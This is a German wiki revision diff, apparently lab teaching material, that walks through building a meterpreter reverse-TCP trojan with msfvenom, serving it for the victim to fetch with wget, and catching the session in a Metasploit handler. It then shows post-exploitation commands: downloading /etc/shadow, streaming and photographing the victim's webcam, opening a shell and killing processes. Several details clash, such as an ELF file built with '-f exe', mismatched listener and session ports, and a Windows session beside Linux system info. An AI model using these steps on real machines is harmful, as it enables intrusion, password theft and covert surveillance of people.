Metasploit trojaner android: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde geleert.)
Zeile 1: Zeile 1:
 +
=Payload erstellen=
 +
*msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.81.1.91 LPORT=4444 -f exe > shell.elf
 +
*cp shell.elf /var/www/html/
 +
=Payload auf den Opfer Rechner bringen und ausführen=
 +
*wget http://10.81.1.91/shell.elf
  
 +
=Konsole starten=
 +
*msfconsole
 +
<pre>
 +
Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00
 +
Aiee, Killing Interrupt handler
 +
Kernel panic: Attempted to kill the idle task!
 +
In swapper task - not syncing
 +
 +
 +
      =[ metasploit v4.16.6-dev                          ]
 +
+ -- --=[ 1682 exploits - 964 auxiliary - 297 post        ]
 +
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
 +
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
 +
</pre>
 +
*msf > use exploit/multi/handler
 +
*msf exploit(handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
 +
*msf exploit(handler) > set LHOST 10.81.1.91
 +
LHOST => 10.81.1.91
 +
*msf exploit(handler) > set LPORT 6666
 +
LPORT => 6666
 +
=Starten des exploits=
 +
*msf exploit(handler) > exploit
 +
[*] Exploit running as background job 0.
 +
 +
[*] Started reverse TCP handler on 10.81.1.91:6666
 +
 +
=Anzeigen der Sessions=
 +
*msf exploit(handler) > sessions
 +
<pre>
 +
Active sessions
 +
===============
 +
 +
  Id  Type                    Information              Connection
 +
  --  ----                    -----------              ----------
 +
  1  meterpreter x86/windows  shuttle\xinux @ SHUTTLE  10.81.1.91:4444 -> 10.81.70.36:50707 (10.81.70.36)
 +
</pre>
 +
=Wechseln in session=
 +
 +
*msf exploit(handler) > sessions -i 1
 +
[*] Starting interaction with 1...
 +
 +
=Metapreter Datei Managment=
 +
==pwd==
 +
*meterpreter > pwd
 +
==cd==
 +
*meterpreter > cd ..
 +
*meterpreter > cd /etc
 +
 +
==Download==
 +
*meterpreter > download shadow
 +
 +
==upload==
 +
*meterpreter > cd /root
 +
*meterpreter > upload /etc/hosts
 +
 +
=Webcam=
 +
==list==
 +
*meterpreter > webcam_list
 +
1: Integrated Camera
 +
==Live stream==
 +
*meterpreter > webcam_stream
 +
[*] Starting...
 +
[*] Preparing player...
 +
[*] Opening player at: XZLHwhtQ.html
 +
[*] Streaming...
 +
 +
==snap==
 +
*meterpreter > webcam_snap
 +
[*] Starting...
 +
[+] Got frame
 +
[*] Stopped
 +
Webcam shot saved to: /root/PDYSnlbK.jpeg
 +
 +
=Starten einer Shell(Kein Shell Prompt)=
 +
*meterpreter > shell
 +
<pre>
 +
Process 14779 created.
 +
Channel 5 created.
 +
</pre>
 +
*C:\Users\xinux\Downloads>
 +
==Beispiele Shell==
 +
*ifconfig
 +
*route -n
 +
*netstat -ltpn
 +
 +
==Quit==
 +
*STRG+c
 +
 +
=Sysinfo=
 +
*meterpreter > sysinfo
 +
<pre>
 +
Computer    : gustavo.xinux.lan
 +
OS          : Ubuntu 16.04 (Linux 4.4.0-97-generic)
 +
Architecture : x64
 +
Meterpreter  : x64/linux
 +
</pre>
 +
 +
=Kill a Prozess=
 +
*meterpreter > pkill notepad
 +
Filtering on 'notepad'
 +
Killing: 3240

Version vom 11. November 2017, 11:15 Uhr

Payload erstellen

  • msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.81.1.91 LPORT=4444 -f exe > shell.elf
  • cp shell.elf /var/www/html/

Payload auf den Opfer Rechner bringen und ausführen

Konsole starten

  • msfconsole
Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing


       =[ metasploit v4.16.6-dev                          ]
+ -- --=[ 1682 exploits - 964 auxiliary - 297 post        ]
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
  • msf > use exploit/multi/handler
  • msf exploit(handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
  • msf exploit(handler) > set LHOST 10.81.1.91
LHOST => 10.81.1.91
  • msf exploit(handler) > set LPORT 6666
LPORT => 6666

Starten des exploits

  • msf exploit(handler) > exploit
[*] Exploit running as background job 0. 

[*] Started reverse TCP handler on 10.81.1.91:6666

Anzeigen der Sessions

  • msf exploit(handler) > sessions
Active sessions
===============

  Id  Type                     Information              Connection
  --  ----                     -----------              ----------
  1   meterpreter x86/windows  shuttle\xinux @ SHUTTLE  10.81.1.91:4444 -> 10.81.70.36:50707 (10.81.70.36)

Wechseln in session

  • msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

Metapreter Datei Managment

pwd

  • meterpreter > pwd

cd

  • meterpreter > cd ..
  • meterpreter > cd /etc

Download

  • meterpreter > download shadow

upload

  • meterpreter > cd /root
  • meterpreter > upload /etc/hosts

Webcam

list

  • meterpreter > webcam_list
1: Integrated Camera

Live stream

  • meterpreter > webcam_stream
[*] Starting...
[*] Preparing player...
[*] Opening player at: XZLHwhtQ.html
[*] Streaming...

snap

  • meterpreter > webcam_snap
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/PDYSnlbK.jpeg

Starten einer Shell(Kein Shell Prompt)

  • meterpreter > shell
Process 14779 created.
Channel 5 created.
  • C:\Users\xinux\Downloads>

Beispiele Shell

  • ifconfig
  • route -n
  • netstat -ltpn

Quit

  • STRG+c

Sysinfo

  • meterpreter > sysinfo
Computer     : gustavo.xinux.lan
OS           : Ubuntu 16.04 (Linux 4.4.0-97-generic)
Architecture : x64
Meterpreter  : x64/linux

Kill a Prozess

  • meterpreter > pkill notepad
Filtering on 'notepad'
Killing: 3240
Abgerufen von „http://wiki.ixheim.de/index.php?title=Metasploit_trojaner_android&oldid=15374“